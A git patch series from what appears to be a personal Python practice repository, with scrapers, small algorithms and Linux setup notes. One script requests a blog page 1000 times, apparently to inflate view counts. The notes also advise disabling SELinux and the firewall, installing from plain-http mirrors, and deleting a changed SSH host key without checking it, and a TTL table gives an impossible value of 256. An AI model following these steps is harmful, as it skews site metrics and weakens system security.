s.get(url).text + doc = lxml.html.fromstring(html) + link_list = doc.xpath('//div[@class="cond-con"]/dl[2]/dd/a[not(@class="current")]') + area_list = [] + for link_item in link_list: + city_code_small = link_item.xpath('./@href')[0].strip().split('/')[-3] + city_name_small = link_item.xpath('./text()')[0].strip() + area_list.append((city_code_small, city_name_small)) + print area_list + + return { + 'city_code': city_code, + 'city_name': city_name, + 'province': province, + 'district': district, + 'area_list': area_list, + } + + +def output_city_area(): + """ + 输出城市地区到文件 + :return: + """ + with open('city_area_lb.py', 'wb') as f: + + f.write("# encoding: utf-8\n\n") + + f.write('city_map = [\n') + + for city_code, city_name in get_city(): + + city_info = get_area_list(city_code, city_name) + city_id = city_map.get(city_code) + f.write('\t# %s\n' % city_name.encode('utf-8')) + f.write('\t{\n') + f.write('\t\t\'code\': \'%s\',\n' % city_code) + f.write('\t\t\'name\': u\'%s\',\n' % city_name.encode('utf-8')) + f.write('\t\t\'id\': %s,\n' % city_id) + f.write('\t\t\'small\': [\n') + for area in city_info['area_list']: + f.write('\t\t\t{\n') + f.write('\t\t\t\t\'code\': \'%s\',\n' % area[0]) + f.write('\t\t\t\t\'name\': u\'%s\',\n' % area[1].encode('utf-8')) + f.write('\t\t\t\t\'id\': %s\n' % city_id) + f.write('\t\t\t},\n') + f.write('\t\t]\n') + f.write('\t},\n') + f.flush() + f.write(']') + + +if __name__ == '__main__': + # get_cate() + # get_city() + # get_area_list('shanghai', '上海') + output_city_area() From 7f40d8c5869418273d0cbfe118c5667278bd777b Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 8 Aug 2017 23:17:32 +0800 Subject: [PATCH 21/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E4=B9=98=E6=B3=95?= =?UTF-8?q?=E5=8F=A3=E8=AF=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- multiplication.py | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 multiplication.py diff --git a/multiplication.py b/multiplication.py new file mode 100644 index 0000000..52e5647 --- /dev/null +++ b/multiplication.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: multiplication.py +@time: 2017/8/26 下午10:59 +""" + + +# 乘法口诀 +print("\n".join([' '.join(["%d*%d=%-2d " % (y, x, x*y) for y in range(1, x+1)]) for x in range(1, 10)])) + + +if __name__ == '__main__': + pass + + +""" +1*1=1 +1*2=2 2*2=4 +1*3=3 2*3=6 3*3=9 +1*4=4 2*4=8 3*4=12 4*4=16 +1*5=5 2*5=10 3*5=15 4*5=20 5*5=25 +1*6=6 2*6=12 3*6=18 4*6=24 5*6=30 6*6=36 +1*7=7 2*7=14 3*7=21 4*7=28 5*7=35 6*7=42 7*7=49 +1*8=8 2*8=16 3*8=24 4*8=32 5*8=40 6*8=48 7*8=56 8*8=64 +1*9=9 2*9=18 3*9=27 4*9=36 5*9=45 6*9=54 7*9=63 8*9=72 9*9=81 +""" + + +""" +过程分析: + +[(y, x) for y in range(1, x+1) for x in range(1, 10)] + +[[(y, x) for y in range(1, x+1)] for x in range(1, 10)] +""" From e04bc2d926536651888f4d1e6c47806c9b953c79 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Wed, 23 Aug 2017 14:29:06 +0800 Subject: [PATCH 22/43] =?UTF-8?q?=E8=8E=B7=E5=8F=96=E5=8A=A8=E6=80=81?= =?UTF-8?q?=E9=AA=8C=E8=AF=81=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/fishc.py | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 fuck/fishc.py diff --git a/fuck/fishc.py b/fuck/fishc.py new file mode 100644 index 0000000..15cf9a7 --- /dev/null +++ b/fuck/fishc.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: fishc.py +@time: 2017/6/1 上午9:08 +""" + + +import requests + +url = 'http://bbs.fishc.com/misc.php?mod=seccode&update=51882&idhash=cSp1R1BV' + +header = { + 'Host': 'bbs.fishc.com', + 'Referer': 'http://bbs.fishc.com/member.php?mod=logging&action=login&referer=', + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' + } + + +def run(): + res = requests.get(url, headers=header) + open('logo.gif', 'wb').write(res.content) + + +if __name__ == '__main__': + run() From 0432eaf0a022d73a1e3bd3edada4845419c95b95 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Thu, 24 Aug 2017 14:30:17 +0800 Subject: [PATCH 23/43] =?UTF-8?q?=E6=9B=B4=E6=96=B058=E7=BC=96=E7=A0=81?= =?UTF-8?q?=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/58.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/fuck/58.py b/fuck/58.py index 1d4f697..4d93a06 100644 --- a/fuck/58.py +++ b/fuck/58.py @@ -16,7 +16,7 @@ UserAgent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' -city_map_v4 = { +city_map = { 'bj': 11, # 北京 'sh': 31, # 上海 'tj': 12, # 天津 @@ -453,6 +453,7 @@ 'cn': 0, # 其他 } + def get_city_list(): """ 获取城市列表 @@ -835,12 +836,14 @@ def output_city_area(): province = row['province'] district = row['district'] city_info = get_area_list(city_code, city_name, province, district) + city_id = city_map.get(city_code) f.write('\t# %s %s %s\n' % (city_name, province, district)) f.write('\t{\n') f.write('\t\t\'code\': \'%s\',\n' % city_code) f.write('\t\t\'name\': u\'%s\',\n' % city_name) + f.write('\t\t\'id\': %s,\n' % city_id) f.write('\t\t\'small\': [\n') - city_id = city_map_v4.get(city_code) + for area in city_info['area_list']: f.write('\t\t\t{\n') f.write('\t\t\t\t\'code\': \'%s\',\n' % area[0]) From 3ced10c7080ccb5ec07d159a67c08eb1ed1f3a46 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Fri, 25 Aug 2017 14:32:45 +0800 Subject: [PATCH 24/43] =?UTF-8?q?=E6=96=B0=E5=A2=9Ezip=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_zip.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 test/test_zip.py diff --git a/test/test_zip.py b/test/test_zip.py new file mode 100644 index 0000000..566c29a --- /dev/null +++ b/test/test_zip.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_zip.py +@time: 2017/10/10 上午9:26 +""" + + +def func(): + user_ids = [None, u'2', u'3', None] + session_keys = ['111', '222', '333', '444'] + s = dict(zip(user_ids, session_keys)) + print s + print map(lambda x: int(x) if x else 0, user_ids) + + +if __name__ == '__main__': + func() From 2a28f7ed4b366edadcf39dcc78ecd7adaa471f21 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Wed, 30 Aug 2017 14:34:36 +0800 Subject: [PATCH 25/43] =?UTF-8?q?=E6=96=B0=E5=A2=9Epv=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_pv.py | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 test/test_pv.py diff --git a/test/test_pv.py b/test/test_pv.py new file mode 100644 index 0000000..3914d5b --- /dev/null +++ b/test/test_pv.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_pv.py +@time: 2017/7/27 下午3:21 +""" + + +import requests + +s = requests.session() + +url = 'http://www.ribble.top/article-detials/7' + + +def fk(): + r = s.get(url) + print r.url + + +def run(): + for i in range(1000): + print i, + fk() + +if __name__ == '__main__': + run() From 7a62f8ebbe6a45826d85d543048401aae954c317 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Thu, 31 Aug 2017 14:36:43 +0800 Subject: [PATCH 26/43] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E9=80=92=E5=BD=92?= =?UTF-8?q?=E5=AE=9E=E7=8E=B0=E9=98=B6=E4=B9=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/algorithm/recursion.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/test/algorithm/recursion.py b/test/algorithm/recursion.py index 5af45b8..be3aefc 100644 --- a/test/algorithm/recursion.py +++ b/test/algorithm/recursion.py @@ -33,9 +33,17 @@ def factorial(n): node_list = [] -def pop_list(nodes=None, parent=None, node_list=None): +def pop_list(nodes, parent=None, node_list=None): + """ + 递归父子关系 + :param nodes: + :param parent: + :param node_list: + :return: + """ if parent is None: return node_list + next_parent = None node_list.append([]) for node in nodes: if node['parent'] == parent: From 45063e47dd56618b1695e6c7a766731f47556bab Mon Sep 17 00:00:00 2001 From: Zhang He Date: Fri, 1 Sep 2017 14:38:02 +0800 Subject: [PATCH 27/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E6=96=B9=E5=B7=AE?= =?UTF-8?q?=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/algorithm/variance.py | 384 +++++++++++++++++++++++++++++++++++++ 1 file changed, 384 insertions(+) create mode 100644 test/algorithm/variance.py diff --git a/test/algorithm/variance.py b/test/algorithm/variance.py new file mode 100644 index 0000000..e64aae6 --- /dev/null +++ b/test/algorithm/variance.py @@ -0,0 +1,384 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: variance.py +@time: 2017/10/8 下午9:55 + +@title: 方差 +""" + + +import random +import math +import time +from decimal import Decimal + + +def standard_deviation(list_num): + """ + 标准差 + :param list_num: + :return: + """ + len_num = len(list_num) + sum_num = 0.0 + sum_square = 0.0 + for i in list_num: + sum_num += i + sum_square += i ** 2 + mean = sum_num / len_num + var = sum_square / len_num - mean ** 2 # 方差 + res = Decimal(round(math.sqrt(var) / 100) * 100) # 标准差改良版 + return res + + +def match(list_a, list_b): + """ + 匹配测试 + :param list_a: + :param list_b: + :return: + """ + sum_a = sum(list_a) + sum_b = sum(list_b) + print 'list_a 和', sum_a + print 'list_b 和', sum_b + if sum_a != sum_b: + raise Exception('金额不匹配') + print 'list_a 标准差', standard_deviation(list_a) + print 'list_b 标准差', standard_deviation(list_b) + list_a_new, list_b_new, list_match = [], [], [] + while list_a or list_b: + max_a = max(list_a) if list_a else 0 + max_b = max(list_b) if list_b else 0 + + if max_a >= max_b: + list_a.remove(max_a) + list_a_new.append(max_a) + match_a = [max_a] + match_b = [] + while sum(match_a) != sum(match_b): + min_b = min(list_b) if list_b else 0 + need_b = sum(match_a) - sum(match_b) + + if need_b in list_b: + get_b = need_b + list_b.remove(need_b) + elif need_b > min_b: + get_b = min_b + list_b.remove(min_b) + else: + # 拆分最小值 + get_b = need_b + list_b.remove(min_b) + list_b.append(min_b - need_b) + + list_b_new.append(get_b) + match_b.append(get_b) + else: + list_b.remove(max_b) + list_b_new.append(max_b) + match_a = [] + match_b = [max_b] + while sum(match_a) != sum(match_b): + min_a = min(list_a) if list_a else 0 + need_a = sum(match_b) - sum(match_a) + + if need_a in list_a: + get_a = need_a + list_a.remove(need_a) + elif need_a > min_a: + get_a = min_a + list_a.remove(min_a) + else: + # 拆分最小值 + get_a = need_a + list_a.remove(min_a) + list_a.append(min_a - need_a) + + list_a_new.append(get_a) + match_a.append(get_a) + + match_num = (match_a, match_b) + list_match.append(match_num) + return list_a_new, list_b_new, list_match + + +def match_dict_list(x, y): + """ + 匹配测试 + :param x: + :param y: + :return: + """ + print 'x', x + print 'y', y + + # 列表转字典 + m_d = {} + for i in x: + m_d[i['id']] = i['price'] + n_d = {} + for i in y: + n_d[i['id']] = i['price'] + + sum_a = sum(m_d.values()) + sum_b = sum(n_d.values()) + print 'list_a 和', sum_a + print 'list_b 和', sum_b + if sum_a != sum_b: + raise Exception('金额不匹配') + print 'list_a 标准差', standard_deviation(m_d.values()) + print 'list_b 标准差', standard_deviation(n_d.values()) + list_a_new, list_b_new, list_match = [], [], [] + + while m_d.values() or n_d.values(): + max_a = max(m_d.values()) if m_d.values() else 0 + max_b = max(n_d.values()) if n_d.values() else 0 + + if max_a >= max_b: + max_a_id = m_d.keys()[m_d.values().index(max_a)] + m_d.pop(max_a_id) + list_a_new.append(max_a) + match_a_item = {'id': max_a_id, 'price': max_a} + match_a_items = [match_a_item] + + match_a = [max_a] + match_b = [] + match_b_items = [] + + while sum(match_a) != sum(match_b): + min_b = min(n_d.values()) if n_d.values() else 0 + need_b = sum(match_a) - sum(match_b) + + if need_b in n_d.values(): + get_b = need_b + b_id = n_d.keys()[n_d.values().index(get_b)] + n_d.pop(b_id) + elif need_b > min_b: + get_b = min_b + b_id = n_d.keys()[n_d.values().index(get_b)] + n_d.pop(b_id) + else: + # 拆分最小值 + get_b = need_b + b_id = n_d.keys()[n_d.values().index(min_b)] + n_d[b_id] = min_b - get_b + + list_b_new.append(get_b) + match_b.append(get_b) + match_b_item = {'id': b_id, 'price': get_b} + match_b_items.append(match_b_item) + else: + max_b_id = n_d.keys()[n_d.values().index(max_b)] + n_d.pop(max_b_id) + list_b_new.append(max_b) + match_b_item = {'id': max_b_id, 'price': max_b} + match_b_items = [match_b_item] + + match_a = [] + match_b = [max_b] + match_a_items = [] + + while sum(match_a) != sum(match_b): + min_a = min(m_d.values()) if m_d.values() else 0 + need_a = sum(match_b) - sum(match_a) + + if need_a in m_d.values(): + get_a = need_a + a_id = m_d.keys()[m_d.values().index(get_a)] + m_d.pop(a_id) + elif need_a > min_a: + get_a = min_a + a_id = m_d.keys()[m_d.values().index(get_a)] + m_d.pop(a_id) + else: + # 拆分最小值 + get_a = need_a + a_id = m_d.keys()[m_d.values().index(min_a)] + m_d[a_id] = min_a - get_a + + list_a_new.append(get_a) + match_a.append(get_a) + match_a_item = {'id': a_id, 'price': get_a} + match_a_items.append(match_a_item) + + match_item = (match_a_items, match_b_items) + list_match.append(match_item) + + return list_a_new, list_b_new, list_match + + +def test_standard_deviation(): + """ + 测试标准差 + :return: + """ + test_list_num = range(8000, 10000, 500) + print test_list_num + print standard_deviation(test_list_num) + + +def test_match(): + """ + 测试匹配 + :return: + """ + # 普通情况 + # list_a = [20000, 18000, 18000, 6000] + # list_b = [18000, 16000, 14000, 8000, 2000, 2000, 2000] + + # 恰好拼凑(无需拆分,只需组合) + # list_a = [20000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000] + + # 差大于最小值 + # list_a = [21000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000, 1000] + + # 差小于最小值(互相拆分) + list_a = [21000, 18000, 16000] + list_b = [20000, 16000, 19000] + + print 'list_a', list_a + print 'list_b', list_b + list_a_new, list_b_new, list_match = match(list_a, list_b) + print 'list_a_new', list_a_new + print 'list_b_new', list_b_new + print 'list_match', list_match + + +def test_match_dict_list(): + """ + 测试匹配(字典列表) + :return: + """ + # 普通情况 + # list_a = [20000, 18000, 18000, 6000] + # list_b = [18000, 16000, 14000, 8000, 2000, 2000, 2000] + + # 恰好拼凑(无需拆分,只需组合) + # list_a = [20000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000] + # m = [{'id': 1, 'price': 20000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}] + # n = [{'id': 1, 'price': 18000}, {'id': 2, 'price': 16000}, {'id': 3, 'price': 14000}, {'id': 4, 'price': 2000}, {'id': 5, 'price': 2000}, {'id': 6, 'price': 2000}] + + # 差大于最小值 + # list_a = [21000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000, 1000] + # m = [{'id': 1, 'price': 21000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}] + # n = [{'id': 1, 'price': 18000}, {'id': 2, 'price': 16000}, {'id': 3, 'price': 14000}, {'id': 4, 'price': 2000}, {'id': 5, 'price': 2000}, {'id': 6, 'price': 2000}, {'id': 7, 'price': 1000}] + + # 差小于最小值(互相拆分) + # list_a = [21000, 18000, 16000] + # list_b = [20000, 16000, 19000] + m = [{'id': 1, 'price': 21000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}] + n = [{'id': 1, 'price': 20000}, {'id': 2, 'price': 16000}, {'id': 3, 'price': 19000}] + + list_a_new, list_b_new, list_match = match_dict_list(m, n) + print 'list_a_new', list_a_new + print 'list_b_new', list_b_new + print 'list_match', list_match + + +def random_choice_list(): + """ + 步骤: + 1、设定匹配总金额:total_price + 2、根据标准差估算取值个数:random_num + 3、随机选取 n 个元素求和等于 total_price + :return: + """ + time_out = 3 # 正常速度 0.00003 + total_price = 40000 + test_random_list = [21000, 18000, 16000, 4000, 20000, 7000] + + sum_num = sum(test_random_list) + len_num = len(test_random_list) + print 'sum_num', sum_num + print 'len_num', len_num + + choice_num = int(min(round(len_num / (sum_num / total_price)), len_num)) + + print 'choice_num', choice_num + std_dev = standard_deviation(test_random_list) + print 'std_dev', std_dev + for i in test_random_list: + print round(i / std_dev) + + choice_list = [] + c = 0 + start_time = time.time() + while sum(choice_list) != total_price: + if time.time() - start_time > time_out: + choice_list = [] + break + c += 1 + print '随机次数', c + choice_list = random.sample(test_random_list, choice_num) + + if choice_list: + print choice_list + else: + print '超时' + + +def random_choice_dict_list(): + """ + 步骤: + 1、设定匹配总金额:total_price + 2、根据标准差估算取值个数:random_num + 3、随机选取 n 个元素求和等于 total_price + :return: + """ + time_out = 3 # 正常速度 0.00003 + total_price = 40000 + # test_random_list = [21000, 18000, 16000, 4000, 20000, 7000] + test_random_dict_list = [{'id': 1, 'price': 21000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}, {'id': 4, 'price': 4000}, {'id': 5, 'price': 20000}, {'id': 6, 'price': 7000}, {'id': 7, 'price': 16000}] + + test_random_list = [item['price'] for item in test_random_dict_list] + sum_num = sum(test_random_list) + len_num = len(test_random_list) + print 'sum_num', sum_num + print 'len_num', len_num + + choice_num = int(min(round(len_num / (sum_num / total_price)), len_num)) + + print 'choice_num', choice_num + std_dev = standard_deviation(test_random_list) + print 'std_dev', std_dev + for i in test_random_list: + print round(i / std_dev) + + choice_list = [] + c = 0 + start_time = time.time() + while sum(choice_list) != total_price: + if time.time() - start_time > time_out: + choice_list = [] + break + c += 1 + print '随机次数', c + choice_list = random.sample(test_random_list, choice_num) + + if choice_list: + res_choice_dict_list = [] + print choice_list + for i in test_random_dict_list: + if i['price'] in choice_list: + res_choice_dict_list.append(i) + choice_list.remove(i['price']) + print res_choice_dict_list + else: + print '超时' + + +if __name__ == '__main__': + # test_standard_deviation() + # test_match() + test_match_dict_list() + # random_choice_list() + # random_choice_dict_list() From 7d24047c37fb1f68e1ace544957d9680f3a76617 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Wed, 6 Sep 2017 14:39:45 +0800 Subject: [PATCH 28/43] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E6=96=87=E4=BB=B6?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E8=AF=B4=E6=98=8E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_file.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/test/test_file.py b/test/test_file.py index 1159c6d..a7b8f66 100644 --- a/test/test_file.py +++ b/test/test_file.py @@ -37,3 +37,20 @@ if __name__ == '__main__': pass + + +""" +# python 打开文件的模式 +r 以只读模式打开文件 +w 以只写模式打开文件,且先把文件内容清空(truncate the file first)wb 以二进制格式打开一个文件只用于写入。如果该文件已存在则将其覆盖。如果该文件不存在,创建新文件。 +a 以添加模式打开文件,写文件的时候总是写到文件末尾,用seek也无用。打开的文件也是不能读的 +r+ 以读写方式打开文件,文件可读可写,可写到文件的任何位置 +w+ 和r+不同的是,它会truncate the file first +a+ 和r+不同的是,它只能写到文件末尾 + +# 文件对象的方法 +file.closed 返回true如果文件已被关闭,否则返回false。 +file.mode 返回被打开文件的访问模式。 +file.name 返回文件的名称。 +file.softspace 如果用print输出后,必须跟一个空格符,则返回false。否则返回true。 +""" From 4c4b895ed8d161ef5de4ec9452600e15f7b438a9 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 10 Oct 2017 15:40:53 +0800 Subject: [PATCH 29/43] =?UTF-8?q?=E6=9B=B4=E6=96=B0Linux=E6=96=87=E6=A1=A3?= =?UTF-8?q?=E8=AF=B4=E6=98=8E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Linux.md | 263 ++++++++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 240 insertions(+), 23 deletions(-) diff --git a/Linux.md b/Linux.md index bcc46af..fd04930 100644 --- a/Linux.md +++ b/Linux.md @@ -42,9 +42,25 @@ $ sudo apt-get update 查看系统版本 ``` -$ cat /proc/version +# cat /proc/version +Linux version 3.10.0-327.36.3.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC) ) #1 SMP Mon Oct 24 16:09:20 UTC 2016 ``` +``` +# uname -a +Linux controller01 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 16:09:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux +``` + +``` +# lsb_release -a +LSB Version: :core-4.1-amd64:core-4.1-noarch +Distributor ID: CentOS +Description: CentOS Linux release 7.2.1511 (Core) +Release: 7.2.1511 +Codename: Core +``` + + 显示操作系统32还是64位 ``` $ sudo uname --m @@ -492,9 +508,16 @@ $ pip -i http://pypi.douban.com/simple install Flask 或者修改 pip 源配置 ``` $ mkdir ~/.pip -$ vim ~/.pip/pip.conf +$ tee ~/.pip/pip.conf <<-'EOF' +[global] +index-url = http://mirrors.aliyun.com/pypi/simple/ + +[install] +trusted-host=mirrors.aliyun.com +EOF ``` +阿里源 ``` [global] index-url = http://mirrors.aliyun.com/pypi/simple/ @@ -502,7 +525,7 @@ index-url = http://mirrors.aliyun.com/pypi/simple/ [install] trusted-host=mirrors.aliyun.com ``` -或者 +豆瓣源 ``` [global] index-url = http://pypi.douban.com/simple @@ -510,6 +533,7 @@ index-url = http://pypi.douban.com/simple [install] trusted-host=pypi.douban.com ``` + 由于最新的 pip 安装需要使用的 https 加密,所以在此需要添加 trusted-host 参考:http://mirrors.aliyun.com/help/pypi @@ -617,8 +641,7 @@ chkconfig frobozz --list | ls /etc/systemd/system/*.wants/frobozz.service | 用 chkconfig frobozz --add | systemctl daemon-reload | 当您创建新服务文件或者变更设置时使用。 -## 网络调试 - +### 网络调试 ```bash telnet IP PORT @@ -637,7 +660,7 @@ nc -u ip port # 连接服务 ``` -## 网络服务 +### 网络服务 快速开启网络web服务 @@ -655,6 +678,30 @@ http://0.0.0.0:8866 区别,PHP版本需要index.php, 而python版本直接返回目录 +### DNS 反向解析 + +关闭反向解析 +```bash +vim /etc/ssh/sshd_config +``` +设置 UseDNS no +```bash +service sshd restart +``` + + +### at + +定时任务 +```bash +echo `date` +at now + 1 minute <<< "/bin/echo `date` > /tmp/time.log" +at now + 10 minutes <<< "/bin/echo `date` > /tmp/time.log" # 创建任务 +at -l # 列出任务 +at -c 1 # 显示任务内容 +``` + + ## CentOs SELinux 全称 Security Enhanced Linux (安全强化 Linux) @@ -674,9 +721,10 @@ SELinux 全称 Security Enhanced Linux (安全强化 Linux) # getenforce ``` -改变 SELinux 运行状态 +改变 SELinux 运行状态(不用重启) ``` -# setenforce [ Enforcing | Permissive | 1 | 0 ] +# setenforce 1 # Enforcing +# setenforce 0 # Permissive ``` 查看 SELinux 文件 @@ -684,26 +732,195 @@ SELinux 全称 Security Enhanced Linux (安全强化 Linux) # vim /etc/sysconfig/selinux ``` +最小化安装(Server 版)注意事项 -## DNS 反向解析 +``` +# vi /etc/selinux/config +SELINUX=enforcing +改为: +SELINUX=permissive +``` +保存, 重启 -关闭反向解析 -```bash -vim /etc/ssh/sshd_config +启用网卡 ``` -设置 UseDNS no -```bash -service sshd restart +# vi /etc/sysconfig/network-scripts/ifcfg-ens33 +ONBOOT = no +修改为: +ONBOOT = yes +保存, 重启 ``` +`ifconfig`无法使用 -## at +``` +# ip addr +# ip link +``` -定时任务 -```bash -echo `date` -at now + 1 minute <<< "/bin/echo `date` > /tmp/time.log" -at now + 10 minutes <<< "/bin/echo `date` > /tmp/time.log" # 创建任务 -at -l # 列出任务 -at -c 1 # 显示任务内容 +查看哪个组件包含了`ifconfig` +``` +# yum provides ifconfig # 或 yum whatprovides ifconfig +Loaded plugins: fastestmirror +Loading mirror speeds from cached hostfile + * base: mirrors.shuosc.org + * extras: mirrors.163.com + * updates: mirrors.163.com +net-tools-2.0-0.22.20131004git.el7.x86_64 : Basic networking tools +Repo : @base +Matched from: +Filename : /usr/sbin/ifconfig +# yum install -y net-tools +``` + +`firewall`是动态防火墙, 建立在`iptables`之上; `iptables`用于过滤数据包,属于网络层防火墙. + +关闭 CentOS7 自带的防火墙`firewall`并取消开机自启 +``` +# systemctl status firewalld +# systemctl stop firewalld +# systemctl disable firewalld +# systemctl status firewalld +``` + +安装`iptables`防火墙 +``` +yum install -y iptables-services +``` + +修改`iptables`配置文件 +``` +# vi /etc/sysconfig/iptables +# 添加下面三句话到默认的22端口这条规则的下面 +-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT +-A INPUT -p tcp -m state --state NEW -m tcp --dport 3306 -j ACCEPT +-A INPUT -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT +``` + +``` +# systemctl restart iptables +# 添加iptables开机自启项 +# systemctl enable iptables +``` + +安装 EPEL 源 +``` +# yum install -y epel-release +``` + +安装 pip 并升级 pip +``` +# yum install -y python-pip +# pip install -U pip +# pip -V +``` + +补充常用的工具(wget, vim) +``` +# yum install -y wget vim-enhanced +``` + + +从`ping`命令的回显判断操作系统类型 + +ttl | system +--- | --- +128 | WIN NT/2K/XP +32 | WIN 95/98/ME +256 | UNIX +64 | LINUX + +一般 ttl 都会小于上面的值, 因为中间有跳跃的节点 +但是这个`ttl`值可以人为修改 + + +## 文件校验 +``` +$ md5sum .bashrc +1f98b8f3f3c8f8927eca945d59dcc1c6 .bashrc +$ shasum .bashrc +c4d853993e323432cb84359de2c319b9a767b729 .bashrc +$ sha1sum .bashrc +c4d853993e323432cb84359de2c319b9a767b729 .bashrc +``` + + +## 文件描述符 + +描述符号 | 说明 +--- | --- +0 | 标准输入 +1 | 标准输出 +2 | 标准错误输出 +/dev/null | 黑洞 + +常见组合: + +描述符号组合 | 说明 +--- | --- +2>&1 | - +/dev/null | - + + +## `ls -l`命令查看某一个目录会得到一个7个字段的列 + +``` +root@kali:~# ls -l /var/spool/cron/crontabs/root +-rw------- 1 root crontab 1.5K 12月 24 00:30 root +``` + +- 第 1 字段 + +10个字母的序号 | 说明 +--- | --- +1 | 文件类型('-':普通文件;'d':目录;'l':链接文件;'b':块设备文件;'c':字符设备文件;'p':命令管道文件;'s':sock文件) +2,3,4 | rwx(读,写,执行)权限;文件的拥有者 +5,6,7 | rwx(读,写,执行)权限;文件的拥有者同组用户 +8,9,10 | rwx(读,写,执行)权限;非文件拥有者其他用户 + +- 第 2 字段 + +文件硬链接数 + +- 第 3 字段 + +文件(目录)拥有者 + +- 第 4 字段 + +文件(目录)拥有者所在的组 + +- 第 5 字段 + +文件所占用的空间(以字节为单位) + +- 第 6 字段 + +文件(目录)最近访问(修改)时间 + +- 第 7 字段 + +文件名 + + +## 登录远程主机如果出现如下警告 +``` +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! +Someone could be eavesdropping on you right now (man-in-the-middle attack)! +It is also possible that a host key has just been changed. +The fingerprint for the RSA key sent by the remote host is +SHA256:IpTUMpNl17JrbLg2l3bHcP2x6A9ijsF+EKmfRcZBxPU. +Please contact your system administrator. +Add correct host key in /Users/zhanghe/.ssh/known_hosts to get rid of this message. +Offending RSA key in /Users/zhanghe/.ssh/known_hosts:68 +RSA host key for 100.100.100.100 has changed and you have requested strict checking. +Host key verification failed. +``` + +把以下文件中IP(`100.100.100.100`)对应的这一行删除 +``` +vim /Users/zhanghe/.ssh/known_hosts ``` From 905c1d08c1f6bf2ecd2538ea6f622d61ac820cee Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 7 Nov 2017 15:42:17 +0800 Subject: [PATCH 30/43] =?UTF-8?q?=E6=9B=B4=E6=96=B0Mac=E6=96=87=E6=A1=A3?= =?UTF-8?q?=E8=AF=B4=E6=98=8E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Mac.md | 109 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 109 insertions(+) diff --git a/Mac.md b/Mac.md index 